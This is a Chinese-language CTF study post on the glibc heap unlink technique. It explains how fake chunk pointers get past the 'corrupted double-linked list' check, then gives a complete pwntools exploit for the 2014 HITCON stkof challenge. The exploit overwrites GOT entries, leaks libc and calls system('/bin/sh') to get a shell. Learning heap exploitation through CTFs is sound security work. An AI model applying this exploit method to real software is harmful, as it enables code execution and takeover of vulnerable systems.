Unlink

### unlink(堆合并)

1. unlink过程

![image-20210926193647898](https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210926193647898.png)

2. [古老的unlink](https://wiki.x10sec.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/)

关于实际地址值构造为什么要加3*size_t或者2\*size_t

> 个人觉得比较靠谱理解:p是chunk的实际指针,p->pk与p的地址相差3*size_t,即p->bk=*(p+3\*size_t)
>
> 同理:p->fd=p+2*size_t
>
> 即:p->fd=*(p+2\*size_t)
>
> ​ p->bk=*(p+3\*size_t)
>
> 与实际指针地址冲突吗?
>
> 答:unlink里的FD和BK是整个chunk的指针, 不是用户指针ptr

3. 现代漏洞

存在检查:

[现代unlink](https://wiki.x10sec.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/)

```c
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
```

即固定FD->bk==P&&BK->fd\==P,不能任意指向其他位置了

+ 如何绕过

> 最终理解:
>
> 1. 64位程序,size_t=8,p为当前chunk,**FD=p->fd,BK=p->BK**
> 2. 首先要进入unlink函数,必须保证p的P标志位为1
>
> 那么要让它绕过上边的检测,必须满足:
>
> - `FD -> bk == P` <=> `*(FD + 12) == P`
> - `BK -> fd == P` <=> `*(BK + 8) == P`
>
> 2. 那么我们构造:
>
> BK=p-0x18
>
> FD=p-0x10
>
> 3. 此时检测:p->fd->bk=*((p->FD)+0x18)=p
>
> 同理:p->bk->fd=p
>
> 4. 满足条件,如果存在相邻的freechunk,进行unlink操作(满足unlink条件程序自动操作)
>
> unlink操作:
>
> `FD->bk=BK`
>
> `BK->fd=FD`
>
> + 最终效果:p=p-0x18
>
> 在unlink中:p的地址被改变
>
> 5. 由此可见,实现了p的地址被改变,且下次edit这块chunk时,可以任意写入地址

+ 源码分析

![image-20210928203612844](https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210928203612844.png)

+ 实例分析

![image-20210928214934472](https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210928214934472.png)

## 例9(2014-HITCON-stkof)

1. 程序分析:

+ 主函数功能分析:

选择功能

1. alloc:输入size,malloc(size)字节空间,并使用全局变量s指向该段空间

2. read_in:首先输入s,代表选中第s个chunk;再输入s,代表将读入字节的个数;再输入读入数据(此处存在堆溢出)

> ```c
> size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
> ```
>
> - **ptr** -- 这是指向带有最小尺寸 *size\*nmemb* 字节的内存块的指针。
> - **size** -- 这是要读取的每个元素的大小,以字节为单位。
> - **nmemb** -- 这是元素的个数,每个元素的大小为 size 字节。
> - **stream** -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流。

3. my_free:输入s代表选中第s个chunk,将其free掉

+ 变量的解释

![image-20210927205025212](https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210927205025212.png)

2. 思路:

- 利用 unlink 修改 global[2] 为 &global[2]-0x18。
- 利用编辑功能修改 global[0] 为 free@got 地址,同时修改 global[1] 为 puts@got 地址,global[2] 为 atoi@got 地址。
- 修改 `free@got` 为 `puts@plt` 的地址,从而当再次调用 `free` 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。
- free global[1],即泄漏 puts@got 内容,从而知道 system 函数地址以及 libc 中 /bin/sh 地址。
- 修改 `atoi@got` 为 system 函数地址,再次调用时,输入 /bin/sh 地址即可。

3. exp

```python
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140


def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')


def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')


def free(idx):
p.sendline('3')
p.sendline(str(idx))


def exp():
# trigger to malloc buffer for io function
alloc(0x100) # idx 1
# begin
alloc(0x30) # idx 2
# small chunk size in order to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')

# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)

# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)

# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3)
p.recvuntil('OK\n')
#此时已经完成unlink,因为3被free掉,而P标志位认为2也是free的
#此时的bss段的s(0x602140)已经写入head+16-0x18,并认为他是第二块chunk
#那么编辑第二块chunk,其实就是编辑bss段的(0x602140+16-0x18),要编辑到s指向的地方,需要填充8个字节垃圾数据,而其之后写入的就是s[1],s[2]...,而不是之前认为的往chunk里边写数据
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
stkof.got['atoi'])
edit(2, len(payload), payload)

# edit free@got to puts@plt
#此处再次编辑的时候是把free的got表改成了put@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)

# free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))

# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()


if __name__ == "__main__":
exp()
```

 

上一篇:ELK太笨重了?想放弃?快试试日志系统新贵Loki吧!


下一篇:http爬虫简易版